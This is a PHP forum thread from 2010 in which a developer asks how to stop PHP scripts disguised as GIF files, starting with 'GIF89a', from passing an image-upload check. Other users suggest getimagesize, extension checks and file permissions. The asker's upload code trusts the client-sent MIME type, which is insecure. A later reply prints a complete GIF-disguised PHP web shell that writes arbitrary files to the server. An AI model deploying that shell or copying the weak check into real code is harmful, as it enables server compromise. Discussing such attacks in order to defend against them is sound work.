如何过滤gif89a开头的伪造图片

qvbfndcwy 2010-07-28 10:16:54
有一个图片上传程序,只能上传jpg、jpeg、gif、bmp、png类型图片,可是有的木马可能伪造成为gif文件,如,把下面的文件保存为a.php,就可以上传:
gif89a
<?php
phpinfo();
?>

我用的图片判断函数是:
$type = $_FILES['img']['type'];

if(($type == "image/pjpeg") || ($type == "image/jpg") || ($type == "image/jpeg") || ($type == "image/gif") || ($type == "image/bmp") || ($type == "image/png") || ($type == "image/x-png"))

{



}

else

{

$errormsg="允许上传的图片类型:jpg、jpeg、gif、bmp、png";

echo "<script type=\"text/javascript\">alert('".$str."上传图片失败!原因:".$errormsg."');history.go(-1);</script>";

exit;

}
...全文
1417 18 打赏 收藏 举报
写回复
用AI写文章
18 条回复
切换为时间正序
请发表友善的回复…
发表回复
xytplizu 2011-04-12
  • 打赏
  • 举报
回复
如果上传伪造的gif的时候,可以使用getimagesize函数获得图片的宽度和高度,一般伪造的图片的宽度是非常惊人的,比方说 宽度为50000的为伪造的图片,就可以判断是伪造的图片了。
  • 打赏
  • 举报
回复
qvbfndcwy 2010-07-29
  • 打赏
  • 举报
回复
继续等待更好的解决方法。
lamking 2010-07-29
  • 打赏
  • 举报
回复
使用图像处理函数对图片进行处理,这样那些伪图片就会报错或者是加在图片里的代码就会被清理掉。自己写代码不现实。不过实际上,控制好文件和目录权限,不需要对上传的文件做这么严格的检验的。楼上说文件改名,那就去堵文件改名的漏洞。
软考找老孙 2010-07-29
  • 打赏
  • 举报
回复
我觉得还没有出现有水准的答案。。。

改了后缀不能用?如果通过某种手段重命名已上传的文件呢?
diannaomingong 2010-07-28
  • 打赏
  • 举报
回复
[Quote=引用 6 楼 xuzuning 的回复:]

你可以用 getimagesize 函数检查图片文件的有效性

对你示例的 a.php
getimagesize('a.php') 将返回假
[/Quote]

这个法子好.
Dleno 2010-07-28
  • 打赏
  • 举报
回复
文件后缀,类型要同时符合!
xuzuning 2010-07-28
  • 打赏
  • 举报
回复
你可以用 getimagesize 函数检查图片文件的有效性

对你示例的 a.php
getimagesize('a.php') 将返回假
amani11 2010-07-28
  • 打赏
  • 举报
回复
因为不可预测的文件,直接到服务器,安全方面,肯定要做到位的


不要信任,任何由客户端传过来的数据
helloyou0 2010-07-28
  • 打赏
  • 举报
回复
[Quote=引用 11 楼 dingsongtao 的回复:]

引用 9 楼 qvbfndcwy 的回复:

但是,如果把文件改为gif后缀,再上传,还是可以啊。


改了后缀,它上传上去也不能用
[/Quote]


yeah~
qvbfndcwy 2010-07-28
  • 打赏
  • 举报
回复
哦,看来还图片判断函数还真不简单。[Quote=引用 3 楼 amani11 的回复:]
文件后缀,类型要判断

通常呢,还会加一个chmod($filename,0755);//具体读写执行权限自己定,
[/Quote]
amani11 2010-07-28
  • 打赏
  • 举报
回复
文件后缀,类型要判断

通常呢,还会加一个chmod($filename,0755);//具体读写执行权限自己定,
lpwxn 2010-07-28
  • 打赏
  • 举报
回复
如果把文件改为gif后缀,再上传,还是可以的。
qvbfndcwy 2010-07-28
  • 打赏
  • 举报
回复
哦,大家都是判断后缀+php判断文件类型?
CodeBus 2010-07-28
  • 打赏
  • 举报
回复
最重要的:文件名后缀要检查阿。
Dleno 2010-07-28
  • 打赏
  • 举报
回复
[Quote=引用 9 楼 qvbfndcwy 的回复:]

但是,如果把文件改为gif后缀,再上传,还是可以啊。
[/Quote]

改了后缀,它上传上去也不能用
qvbfndcwy 2010-07-28
  • 打赏
  • 举报
回复
但是getimagesize对以下图片木马无效:
GIF89a ? 酈麣壑隐?鶉氘!環
<?php
error_reporting(0);
$filepath = $_POST['filepath'];
$filecontent = stripslashes ($_POST['filecontent']);
$pathname = str_replace('\\','/',dirname(__FILE__));
$dis_func = get_cfg_var("disable_functions");

if(eregi("fopen",$dis_func)){
echo "- -";
}
if($filepath && $filecontent){
$handle = fopen("$filepath", "w+");
if(fwrite($handle,$filecontent)){
echo "$filepath :)";
fclose($handle);
}
else {
echo ':(';
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<style type="text/css">
<!--
body,td,th {
font-family: Verdana;
font-size: 12px;
color: #33FF00;
}
body {
background-color: #000000;
}
input {
font-family: "Verdana";
font-size: "11px";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #33FF00";
}
-->
</style>
</head>
<body>
<div align="left">
<form method="post" action="<?php $_SERVER['PHP_SELF'] ?>">
<table width="440" height="330" border="0">
<tr>
<td height="20" colspan="2"><input name="filepath" type="text" size="60" /> </td>
</tr>
<tr>
<td height="20" colspan="2"><?php echo 'path:'.$pathname."<br>\n"; ?></td>
</tr>
<tr>
<td height="270" colspan="2">
<textarea name="filecontent" cols="50" rows="20"></textarea> </td>
</tr>
<tr>
<td width="130" height="20" align="left" valign="middle">
<p>
<input type="submit" name="Submit" value="Send" />
</p>
</td>
</tr>
</table>
</form>
</div>
</body>
</html>
</html>
qvbfndcwy 2010-07-28
  • 打赏
  • 举报
回复
但是,如果把文件改为gif后缀,再上传,还是可以啊。[Quote=引用 1 楼 vn700 的回复:]
最重要的:文件名后缀要检查阿。
[/Quote]

21,889

社区成员

发帖
与我相关
我的任务
社区描述
从PHP安装配置,PHP入门,PHP基础到PHP应用
社区管理员
  • 基础编程社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧